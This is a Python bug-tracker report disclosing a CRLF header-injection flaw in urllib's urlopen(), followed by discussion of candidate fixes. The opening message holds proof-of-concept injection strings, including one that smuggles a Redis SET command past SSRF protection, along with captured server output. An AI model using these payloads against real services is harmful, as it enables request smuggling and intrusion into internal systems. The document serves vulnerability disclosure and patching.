Title: Header Injection in urllib
Type: security Stage: patch review
Components: Library (Lib) Versions: Python 3.8, Python 3.7, Python 3.6, Python 3.4, Python 3.5, Python 2.7
Status: open Resolution:
Dependencies: Superseder:
Assigned To: Nosy List: christian.heimes, martin.panter, matrixise, orsenthil, push0ebp
Priority: normal Keywords: patch, patch, patch

Created on 2019-02-06 00:32 by push0ebp, last changed 2019-03-24 14:31 by xtreak.

Pull Requests
URL Status Linked Edit
PR 11768 open matrixise, 2019-02-06 08:30
PR 12524 open push0ebp, 2019-03-24 14:24
Messages (5)
msg334896 - (view) Author: Sihoon Lee (push0ebp) * Date: 2019-02-06 00:32
this patch can also be broken by path and query string.

can succeed to inject HTTP header and be more critical by bypassing illegal header check

# Vulnerability PoC

>>> import urllib.request

>>> urllib.request.urlopen('\r\nHeader: Value\r\nHeader2: \r\n')
>>> urllib.request.urlopen('\r\nHeader: Value\r\nHeader2: \r\n')

> nc -lv 1234
GET /?q=HTTP/1.1
Header: Value
Header2: HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.8
Connection: close

we can inject headers completely.

## Redis
redis also be affected by bypassing SSRF protection checking header "host:" with this injection.

>>> urllib2.urlopen('\r\nSET VULN POC\r\nHeader2:\r\n').read()
'$-1\r\n+OK\r\n-ERR unknown command `Header2:`, with args beginning with: `HTTP/1.1`, \r\n-ERR unknown command `Accept-Encoding:`, with args beginning with: `identity`, \r\n'

$ redis-cli> GET VULN

# Root Cause

- _hostprog = re.compile('^//([^/?]*)(.*)$')
+ _hostprog = re.compile('//([^/#?]*)(.*)', re.DOTALL)

It could succeed to parse host because of re.DOTALL
re.DOTALL gave the opportunity of injection.

this version of the commit was 3.4.7+

this vulnerability can be affected 3.4.7+ ~ 3.8-dev <- I tested it.
also, python 2.7.15 can be affected. I don't know which python2 version is affected because not test.

maybe after the commit, all of higher versions can trigger this vulnerability.

# Conclusion
this patch provides more critical vulnerability to bypass the illegal header check.
and we can inject HTTP header completely in urlopen() from this patch.

(Although this vulnerability is old on 12 Jul 2017, I don't know why no one has submitted issue still now XDD)
msg334906 - (view) Author: Stéphane Wirtel (matrixise) * (Python triager) Date: 2019-02-06 08:32
Hi all,

Not sure for the right way for this fix but here is a PR. I am interested by your feedback.

Thank you
msg334999 - (view) Author: Sihoon Lee (push0ebp) * Date: 2019-02-07 03:05
Sorry, I'm late.
My review is here.
msg335000 - (view) Author: Martin Panter (martin.panter) * (Python committer) Date: 2019-02-07 03:34
Maybe related to Victor's "Issue 1" described in Issue 32085. That is also a security bug about CRLF in the URL's path, but was opened before Issue 30500 was opened and the code changed, so I'm not sure if it is the same as this or not.

Also there is Issue 13359, a proposal to automatically percent-encode invalid URLs. For a security fix, I'm not sure but it might be safer to raise an exception, rather than rewriting the invalid URL to a valid one.
msg335005 - (view) Author: Sihoon Lee (push0ebp) * Date: 2019-02-07 06:20
Yes, I thought so. before the commit version i said, the previous version(~3.4.6), raised an exception(no host given~) in urlopen failing parsing host.
If this patch wants to be same as the previous version, It is right to raise an exception like the previous version.
I thought there is no exact answer, only depends on Python features.
Date User Action Args
2019-03-24 14:31:57xtreaksetkeywords: patch, patch, patch
nosy: + orsenthil
2019-03-24 14:30:26push0ebpsetpull_requests: - pull_request12476
2019-03-24 14:25:01push0ebpsetpull_requests: + pull_request12476
2019-03-24 14:24:40push0ebpsetpull_requests: + pull_request12475
2019-03-24 14:18:17push0ebpsetpull_requests: - pull_request12474
2019-03-24 14:15:43push0ebpsetpull_requests: + pull_request12474
2019-02-07 06:20:03push0ebpsetmessages: + msg335005
2019-02-07 03:34:00martin.pantersetkeywords: patch, patch, patch

messages: + msg335000
2019-02-07 03:05:31push0ebpsetmessages: + msg334999
2019-02-06 08:56:06matrixisesetpull_requests: - pull_request11730
2019-02-06 08:55:55matrixisesetpull_requests: - pull_request11731
2019-02-06 08:32:11matrixisesetkeywords: patch, patch, patch
nosy: + matrixise
messages: + msg334906

2019-02-06 08:30:42matrixisesetkeywords: + patch
stage: patch review
pull_requests: + pull_request11731
2019-02-06 08:30:36matrixisesetkeywords: + patch
stage: (no value)
pull_requests: + pull_request11730
2019-02-06 08:30:28matrixisesetkeywords: + patch
stage: (no value)
pull_requests: + pull_request11729
2019-02-06 02:23:47xtreaksetnosy: + martin.panter
2019-02-06 00:33:33rhettingersetnosy: + christian.heimes
2019-02-06 00:32:11push0ebpcreate